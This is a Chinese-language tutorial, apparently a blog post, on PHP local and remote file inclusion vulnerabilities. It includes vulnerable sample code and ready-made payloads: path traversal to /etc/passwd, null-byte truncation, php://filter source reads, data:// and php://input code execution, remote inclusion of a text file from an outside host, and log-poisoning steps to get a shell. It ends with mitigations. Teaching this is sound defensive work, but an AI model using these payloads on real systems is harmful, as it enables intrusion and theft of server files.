什么是文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称为文件包含。
例如:include “conn.php”

PHP中常见包含文件函数

  • include()
    当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
  • include_once()
    功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
  • require()
    require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
  • require_once()
    功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

区别

  • inlude :包含的文件不存在,程序会继续执行
  • require:包含文件不存在,程序停止执行
    (如果出现语法错误,两个不会继续执行,如果是找不到这个文件,include继续执行,require,停止执行)

文件包含漏洞原理
文件包含漏洞产生的原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过。

常见漏洞代码

if(isset($_GET[page])){include $_GET[page];
}else{include "home.php";
}

文件包含漏洞危害

  • 配合文件上传漏洞GetShell
  • 可以执行任意脚本代码
  • 网站源码文件以及配置文件泄露
  • 远程包含GetShell
  • 控制整个网站甚至是服务器

文件包含漏洞的分类

  • 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
  • 本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。

本地文件包含利用

  • 上传图片马,包含图片马GetShell
  • 读取网站源码以及配置文件
  • 包含日志文件GetShell

包含上传图片_001

<?php
if(isset($_GET[page])){include($_GET[page]);
}else{include 'show.php';
}
?>

包含上传图片_002

<?php
if(isset($_GET[page])){include('./action/' . $_GET[page]);
}else{include ./action/show.php';
}
?>

包含上传图片_003

<?php
if(isset($_GET[page])){include('./action/'. $_GET[page] . '.php');
}else{include './action/show.php';
}
?>

%00截断

  • /etc/passwd%00
  • 需要 magic_quotes_gpc=off,PHP小于5.3.4有效

路径长度截断

  • /etc/passwd././././././././././././.[…]/././././././././.
  • php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256

读服务器本地文件

  • ?page=…/…/…/…/…/…/…/etc/passwd

读网站源码文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php

伪协议:

  • 直接包含木马文件,可以是图片,txt,压缩包…
  • ?page=php://input 接收post请求
    需要开启 仅需要开启 allow_url_include
  • ?page=http://172.18.11.66/0831/1.txt
    需要开启 allow_url_fopen,allow_url_include (远程包含)
  • ?page=php://filter/read=convert.base64-
    encode/resource=main.php (读取文件源码)
  • ?page=data://text/plain,<?php phpinfo();?>
    需要开启allow_url_fopen,allow_url_include

包含日志文件GetShell

  1. 首先 找到日志文件存放位置
  2. 让日志文件插入PHP代码
  3. 包含日志文件

远程文件包含利用
包含远程txt文件(php.ini的配置选项allow_url_fopen和allow_url_include为on),远程服务器上存放一个txt文件,或
者不被解析的php文件。(因为包含的时候返回的是php源代码,所以不能被解析)

index.php?page=http://www.xxx.com/1.txt

漏洞挖掘

  • 没有通用的挖掘办法
  • 特定的CMS,特定的版本可能存在漏洞(include,require)
  • Web漏洞扫描器扫描,常见的web漏洞扫描器都支持可以检测。

修复办法

  • PHP中使用open_basedir配置限制访问在指定的区域
  • 过滤.(点)/(反斜杠)\(反 斜杠)
  • 禁止服务器远程文件包含
    (allow_url_fopen,allow_url_include,off)

Web安全之文件包含漏洞相关推荐

  1. Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

    Web安全:文件包含漏洞测试. 文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , ...

  2. 【web安全】文件包含漏洞

    目录 1.什么是文件包含漏洞 2.产生原因 3.文件包含的类型 3.1本地文件包含 3.2远程文件包含 4.攻击利用手法 4.1 file:协议 4.2 php://协议 ​4.3 zip://,bz ...

  3. WEB渗透之文件包含漏洞

    1.文件包含 1.1原理: 服务器执行的php文件中可能包含木马文件或者恶意代码 1.2漏洞产生原因 1.web采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 静态包含使用i ...

  4. 【web安全】——文件包含漏洞

    作者名:Demo不是emo  主页面链接:主页传送门 创作初心:一切为了她​​​​​​​ 座右铭:不要让时代的悲哀成为你的悲哀 专研方向:网络安全,数据结构 每日emo:可后来,除了梦以外的地方,我再 ...

  5. web渗透之文件包含漏洞-学习笔记分享

    文件包含 这里偷用一下老师名言:该文章仅用于个人学习与总结.请勿用于未授权的违法攻击!!用户滥用造成的一切后果自负!!学习者请务必遵守当地法律!! 1.首先什么是文件包含.         就是去其他 ...

  6. ctf-web:文件包含漏洞和举例-HCTF2018 WarmUp

    我又回来更新了,这次是关于web方面的文件包含漏洞.我会在后面以详细的角度来写清楚这个漏洞的利用方法. 当然,以下都是我自己的理解,表述什么的都有些野人化了.所以希望各位大佬手下留情. 一.漏洞产生的 ...

  7. test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  8. Web安全——文件包含漏洞

    一.文件包含漏洞 原理     文件包含漏洞是"代码注入"的一种.其原理就是注入一段用户能控制的脚本或代码,并让服务端执行."代码注入"的典型代表就是文件包含. ...

  9. WEB漏洞—文件包含漏洞

    介绍 所谓文件包含漏洞,故名思意,就是在文件中包含(引用)了其他文件所导致的漏洞.例如有些函数在不同代码中的作用都是相同的,在这里我们可以称呼它为"变量",那么这时程序员就会将该& ...

最新文章

  1. 托马斯·弗里德曼:美政府应研究任正非的提议
  2. An error occurred during the file system check
  3. Android 如何有效的解决内存泄漏的问题
  4. 在source insight 中添加系统字体
  5. java的自增自减_Java中自增和自减操作符(++/--)的那些事
  6. python处理中文字符串_python字符串中的中文处理
  7. canvas笔记-canvas加载图片及放缩及加水印(两canvas同时使用)
  8. jQuery bind事件练习及tab标签切换的实现
  9. GitBook是一个命令行工具(Node.js库),我们可以借用该工具使用Github/Git和Markdown来制作精美的图书,但它并不是一本关于Git的教程哟。...
  10. unity直播推流方式_【技术猩球】从方案架构分析秀场直播的四种实现方式
  11. 堆排序时间复杂度_leetcode刷题(二):排序算法(归并排序,堆排序,桶排序)...
  12. 整理读研期间用过、改进过、写过的代码
  13. linux下添加vnc
  14. 关于电感开始饱和,开关过应力时开关的电流曲线的解释// 《精通开关电源设计》P53 图2-7
  15. 怎么用计算机解方程,计算器怎么解方程
  16. 2、宽带Doherty放大器ADS仿真(带版图)
  17. SecureCRT信号灯超时时间已到
  18. hp 服务器 修复,Hp服务器 raid 磁盘故障数据库数据恢复过程
  19. web服务器硬件软件配置选择
  20. 服务器维修报告单,服务器维修报告.pdf

热门文章

  1. 阻燃防火电缆在数据中心建设中的应用
  2. n平方的求和公式_素数求和公式!!!(操作测试)
  3. 小米机器人虚拟墙设置_扫地机器人虚拟墙应该怎么放置使用
  4. 成功解决AttributeError: ‘NoneType‘ object has no attribute ‘shape‘
  5. ML之xgboost:绘制xgboost的二叉树graphviz的两种方法代码实现
  6. CV:基于深度学习实现目标检测之GUI界面产品设计并实现图片识别、视频识别、摄像头识别(准确度非常高)
  7. CV之YOLOv3:深度学习之计算机视觉神经网络Yolov3-5clessses训练自己的数据集全程记录
  8. docker学习------centos7.5下的swarm集群可视化构建
  9. dede_arctype|栏目表
  10. WebBrowser页面与WinForm交互技巧